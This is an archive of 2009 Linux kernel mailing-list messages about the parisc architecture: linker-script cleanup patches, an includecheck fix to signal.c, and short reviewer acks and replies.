	by pfepb.post.tele.dk (Postfix) with ESMTP id 4B6E1F84054;
	Sat, 19 Sep 2009 10:38:15 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2196 gmane.linux.kernel:891808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2196>

On Fri, Sep 18, 2009 at 04:34:36PM -0400, Tim Abbott wrote:
> This is an updated version of the patch series I sent on September 6
> cleaning up the parisc architecture's linker scripts.  It differs from
> the previous version only in having been rebased on top of Linus'
> current master (and is a complete rewrite of the version that got some
> review back in May:
> <http://linux.derkeiler.com/Mailing-Lists/Kernel/2009-05/msg00095.html>).
> 
> This cross-architecture linker script cleanup project is in
> preparation for adding support for building the kernel with
> -ffunction-sections -fdata-sections, which is a prerequisite for
> Ksplice.
> 
> 	-Tim Abbott
> 
> Tim Abbott (2):
>   parisc: Clean up linker script using new linker script macros.
>   parisc: Remove useless altinstructions code copied from x86.

Looks good.

Both have my:

Acked-by: Sam Ravnborg <sam@ravnborg.org>

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jaswinder Singh Rajput <jaswinder@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] PARISC: includecheck fix: signal.c
Date: Tue, 22 Sep 2009 19:05:32 +0530
Lines: 31
Approved: news@gmane.org
Message-ID: <1253626532.3784.17.camel@ht.satnam>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1253626634 31100 80.91.229.12 (22 Sep 2009 13:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Sep 2009 13:37:14 +0000 (UTC)
To: Kyle McMartin <kyle@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 22 15:37:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mq5YH-0002Sa-Re
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Sep 2009 15:37:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755839AbZIVNfp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Sep 2009 09:35:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754725AbZIVNfo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Sep 2009 09:35:44 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:33923 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755587AbZIVNfg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Sep 2009 09:35:36 -0400
Original-Received: from [192.168.1.220] (triband-del-59.180.23.123.bol.net.in [59.180.23.123] (may be forged))
	(authenticated bits=0)
	by hera.kernel.org (8.14.2/8.13.8) with ESMTP id n8MDZQER019493
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Tue, 22 Sep 2009 13:35:32 GMT
X-Mailer: Evolution 2.24.5 (2.24.5-2.fc10) 
X-Virus-Scanned: ClamAV 0.93.3/9821/Mon Sep 21 23:48:15 2009 on hera.kernel.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2197 gmane.linux.kernel:892898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2197>


fix the following 'make includecheck' warning:

  arch/parisc/kernel/signal.c: linux/compat.h is included more than once.

Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
---
 arch/parisc/kernel/signal.c |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 8eb3c63..5d5a710 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -34,7 +34,6 @@
 #include <asm/asm-offsets.h>
 
 #ifdef CONFIG_COMPAT
-#include <linux/compat.h>
 #include "signal32.h"
 #endif
 
-- 
1.6.0.6


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 08/13] parisc: Clean up linker script using new linker script macros.
Date: Tue, 22 Sep 2009 10:22:22 -0400
Lines: 146
Approved: news@gmane.org
Message-ID: <1253629347-23119-9-git-send-email-tabbott@ksplice.com>
References: <1253629347-23119-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253629426 8719 80.91.229.12 (22 Sep 2009 14:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Sep 2009 14:23:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756660AbZIVOXY@vger.kernel.org Tue Sep 22 16:23:38 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756660AbZIVOXY@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mq6HF-00028T-4T
	for glk-linux-kernel-3@lo.gmane.org; Tue, 22 Sep 2009 16:23:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756660AbZIVOXY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 22 Sep 2009 10:23:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756657AbZIVOXW
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 22 Sep 2009 10:23:22 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:56411 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756591AbZIVOXS (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 22 Sep 2009 10:23:18 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8MEN5ut012993;
	Tue, 22 Sep 2009 10:23:05 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8MEN4gL012093;
	Tue, 22 Sep 2009 10:23:04 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253629347-23119-1-git-send-email-tabbott@ksplice.com>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:892932 gmane.linux.ports.parisc:2198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2198>

This patch has the (likely harmless) side effect of moving
.data.init_task inside the _edata.

It also changes the alignment of .data.init_task from 16384 to
THREAD_SIZE, which can in some configurations be larger than 16384.  I
believe that this change fixes a potential bug on those
configurations.

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Acked-by: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   79 ++------------------------------------
 1 files changed, 4 insertions(+), 75 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index aea1784..3fd66d9 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -77,13 +77,7 @@ SECTIONS
 	 */
 	. = ALIGN(PAGE_SIZE);
 	data_start = .;
-	. = ALIGN(16);
-	/* Exception table */
-	__ex_table : {
-		__start___ex_table = .;
-		*(__ex_table)
-		__stop___ex_table = .;
-	}
+	EXCEPTION_TABLE(16)
 
 	NOTES
 
@@ -94,23 +88,8 @@ SECTIONS
 		__stop___unwind = .;
 	}
 
-	/* rarely changed data like cpu maps */
-	. = ALIGN(16);
-	.data.read_mostly : {
-		*(.data.read_mostly)
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
 	/* Data */
-	.data : {
-		DATA_DATA
-		CONSTRUCTORS
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
-	.data.cacheline_aligned : {
-		*(.data.cacheline_aligned)
-	}
+	RW_DATA_SECTION(L1_CACHE_BYTES, PAGE_SIZE, THREAD_SIZE)
 
 	/* PA-RISC locks requires 16-byte alignment */
 	. = ALIGN(16);
@@ -118,17 +97,6 @@ SECTIONS
 		*(.data.lock_aligned)
 	}
 
-	/* nosave data is really only used for software suspend...it's here
-	 * just in case we ever implement it
-	 */
-	. = ALIGN(PAGE_SIZE);
-	__nosave_begin = .;
-	.data_nosave : {
-		*(.data.nosave)
-	}
-	. = ALIGN(PAGE_SIZE);
-	__nosave_end = .;
-
 	/* End of data section */
 	_edata = .;
 
@@ -147,14 +115,6 @@ SECTIONS
 	}
 	__bss_stop = .;
 
-
-	/* assembler code expects init_task to be 16k aligned */
-	. = ALIGN(16384);
-	/* init_task */
-	.data.init_task : {
-		*(.data.init_task)
-	}
-
 #ifdef CONFIG_64BIT
 	. = ALIGN(16);
 	/* Linkage tables */
@@ -172,31 +132,8 @@ SECTIONS
 	/* reserve space for interrupt stack by aligning __init* to 16k */
 	. = ALIGN(16384);
 	__init_begin = .;
-	.init.text : { 
-		_sinittext = .;
-		INIT_TEXT
-		_einittext = .;
-	}
-	.init.data : {
-		INIT_DATA
-	}
-	. = ALIGN(16);
-	.init.setup : {
-		__setup_start = .;
-		*(.init.setup)
-		__setup_end = .;
-	}
-	.initcall.init : {
-		__initcall_start = .;
-		INITCALLS
-		__initcall_end = .;
-	}
-	.con_initcall.init : {
-		__con_initcall_start = .;
-		*(.con_initcall.init)
-		__con_initcall_end = .;
-	}
-	SECURITY_INIT
+	INIT_TEXT_SECTION(16384)
+	INIT_DATA_SECTION(16)
 
 	/* alternate instruction replacement.  This is a mechanism x86 uses
 	 * to detect the CPU type and replace generic instruction sequences
@@ -222,14 +159,6 @@ SECTIONS
 	.exit.data : {
 		EXIT_DATA
 	}
-#ifdef CONFIG_BLK_DEV_INITRD
-	. = ALIGN(PAGE_SIZE);
-	.init.ramfs : {
-		__initramfs_start = .;
-		*(.init.ramfs)
-		__initramfs_end = .;
-	}
-#endif
 
 	PERCPU(PAGE_SIZE)
 	. = ALIGN(PAGE_SIZE);
-- 
1.6.3.3


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 09/13] parisc: Remove useless altinstructions code copied from x86.
Date: Tue, 22 Sep 2009 10:22:23 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1253629347-23119-10-git-send-email-tabbott@ksplice.com>
References: <1253629347-23119-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253629684 9610 80.91.229.12 (22 Sep 2009 14:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Sep 2009 14:28:04 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 22 16:27:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mq6LR-0003cf-0u
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Sep 2009 16:27:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932078AbZIVO0j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Sep 2009 10:26:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756682AbZIVO0T
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Sep 2009 10:26:19 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:58380 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756720AbZIVO0Q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Sep 2009 10:26:16 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8MEN6xI013010;
	Tue, 22 Sep 2009 10:23:06 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8MEN5Sq012103;
	Tue, 22 Sep 2009 10:23:05 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253629347-23119-1-git-send-email-tabbott@ksplice.com>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2199 gmane.linux.kernel:892943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2199>

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Acked-by: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   25 -------------------------
 1 files changed, 0 insertions(+), 25 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 3fd66d9..775be27 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -135,31 +135,6 @@ SECTIONS
 	INIT_TEXT_SECTION(16384)
 	INIT_DATA_SECTION(16)
 
-	/* alternate instruction replacement.  This is a mechanism x86 uses
-	 * to detect the CPU type and replace generic instruction sequences
-	 * with CPU specific ones.  We don't currently do this in PA, but
-	 * it seems like a good idea...
-	 */
-	. = ALIGN(4);
-	.altinstructions : {
-		__alt_instructions = .;
-		*(.altinstructions)
-		__alt_instructions_end = .; 
-	} 
-	.altinstr_replacement : {
-		*(.altinstr_replacement)
-	} 
-
-	/* .exit.text is discard at runtime, not link time, to deal with references
-	 *  from .altinstructions and .eh_frame
-	 */
-	.exit.text : {
-		EXIT_TEXT
-	}
-	.exit.data : {
-		EXIT_DATA
-	}

From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] PARISC: includecheck fix: signal.c
Date: Wed, 23 Sep 2009 15:54:25 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090923195424.GH11961@bombadil.infradead.org>
References: <1253626532.3784.17.camel@ht.satnam>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1253735678 16882 80.91.229.12 (23 Sep 2009 19:54:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Sep 2009 19:54:38 +0000 (UTC)
Cc: Kyle McMartin <kyle@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>
To: Jaswinder Singh Rajput <jaswinder@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 23 21:54:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MqXv4-0001dW-AQ
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Sep 2009 21:54:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751125AbZIWTyZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Sep 2009 15:54:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752491AbZIWTyZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Sep 2009 15:54:25 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:56020 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751125AbZIWTyY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Sep 2009 15:54:24 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MqXuz-0005Eh-79; Wed, 23 Sep 2009 19:54:25 +0000
Content-Disposition: inline
In-Reply-To: <1253626532.3784.17.camel@ht.satnam>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2200 gmane.linux.kernel:893634
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2200>

On Tue, Sep 22, 2009 at 07:05:32PM +0530, Jaswinder Singh Rajput wrote:
> 
> fix the following 'make includecheck' warning:
> 
>   arch/parisc/kernel/signal.c: linux/compat.h is included more than once.
> 
> Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>

Applied, thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 09/13] parisc: Remove useless altinstructions code
	copied from x86.
Date: Wed, 23 Sep 2009 15:55:40 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090923195540.GI11961@bombadil.infradead.org>
References: <1253629347-23119-1-git-send-email-tabbott@ksplice.com> <1253629347-23119-10-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1253735761 17234 80.91.229.12 (23 Sep 2009 19:56:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Sep 2009 19:56:01 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Sam Ravnborg <sam@ravnborg.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Tim Abbott <tabbott@ksplice.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 23 21:55:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MqXwH-00027T-LJ
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Sep 2009 21:55:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753558AbZIWTzk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Sep 2009 15:55:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753547AbZIWTzk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Sep 2009 15:55:40 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:56287 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753365AbZIWTzj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Sep 2009 15:55:39 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MqXwC-0007zy-QF; Wed, 23 Sep 2009 19:55:40 +0000
Content-Disposition: inline
In-Reply-To: <1253629347-23119-10-git-send-email-tabbott@ksplice.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2201 gmane.linux.kernel:893635
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2201>

On Tue, Sep 22, 2009 at 10:22:23AM -0400, Tim Abbott wrote:
> Signed-off-by: Tim Abbott <tabbott@ksplice.com>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org
> Acked-by: Sam Ravnborg <sam@ravnborg.org>

Heh, I had a patch to use this, but I guess I never finished it, (to nop
out some cache flushes and syncs on coherent architectures in the iommu
code.) I'll add a hunk to bring it back if/when I ever submit that
change.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/10] Add support for GCC's __builtin_unreachable()
	and use it in BUG.
Date: Thu, 24 Sep 2009 13:37:13 +1000
Lines: 12
Approved: news@gmane.org
Message-ID: <1253763433.7103.391.camel@pasglop>
References: <4AA991C1.1050800@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1253763906 22144 80.91.229.12 (24 Sep 2009 03:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Sep 2009 03:45:06 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Heiko Carstens <heiko.carstens@de.ibm.com>,
	linuxppc-dev@ozlabs.org, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-s390@vger.kernel.org,
	linux-am33-list@redhat.com, Helge Deller <deller@gmx.de>,
	x86@kernel.org, Ingo Molnar <mingo@redhat.com>,
	Mike Frysinger <vapier@gentoo.org>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	uclinux-dist-devel@blackfin.uclinux.org,
	Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	linux-parisc@vger.kernel.org, ralf@linux-mips.org,
	Kyle McMartin <kyle@mcmartin.ca>, linux-alpha@vger.kernel.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>, linux390@de.ibm.com,
	Andrew Morton <akpm@linux-foundation.org>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: David Daney <ddaney@caviumnetworks.com>
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org Thu Sep 24 05:44:54 2009
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MqfGI-0007fz-D9
	for glppd-linuxppc64-dev@m.gmane.org; Thu, 24 Sep 2009 05:44:54 +0200
Original-Received: from bilbo.ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 0B686B7C76
	for <glppd-linuxppc64-dev@m.gmane.org>; Thu, 24 Sep 2009 13:44:49 +1000 (EST)
Original-Received: by ozlabs.org (Postfix)
	id 81D0EB7B73; Thu, 24 Sep 2009 13:44:45 +1000 (EST)
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from gate.crashing.org (gate.crashing.org [63.228.1.57])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPS id E9139B7043
	for <linuxppc-dev@ozlabs.org>; Thu, 24 Sep 2009 13:44:44 +1000 (EST)
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id n8O3bEoB012060;
	Wed, 23 Sep 2009 22:37:15 -0500
In-Reply-To: <4AA991C1.1050800@caviumnetworks.com>
X-Mailer: Evolution 2.26.1 
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:60272 gmane.linux.ports.mips.general:25133 gmane.linux.hardware.blackfin.kernel.devel:2724 gmane.linux.ports.parisc:2202 gmane.linux.ports.alpha:626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2202>

On Thu, 2009-09-10 at 16:54 -0700, David Daney wrote:
> Starting with version 4.5, GCC has a new built-in function called
> __builtin_unreachable().  The function tells the compiler that control
> flow will never reach that point.  Currently we trick the compiler by
> putting in for(;;); but this has the disadvantage that extra code is
> emitted for an endless loop.  For an i386 kernel using
> __builtin_unreachable() results in an allyesconfig that is nearly 4000
> bytes smaller.

For the powerpc part:

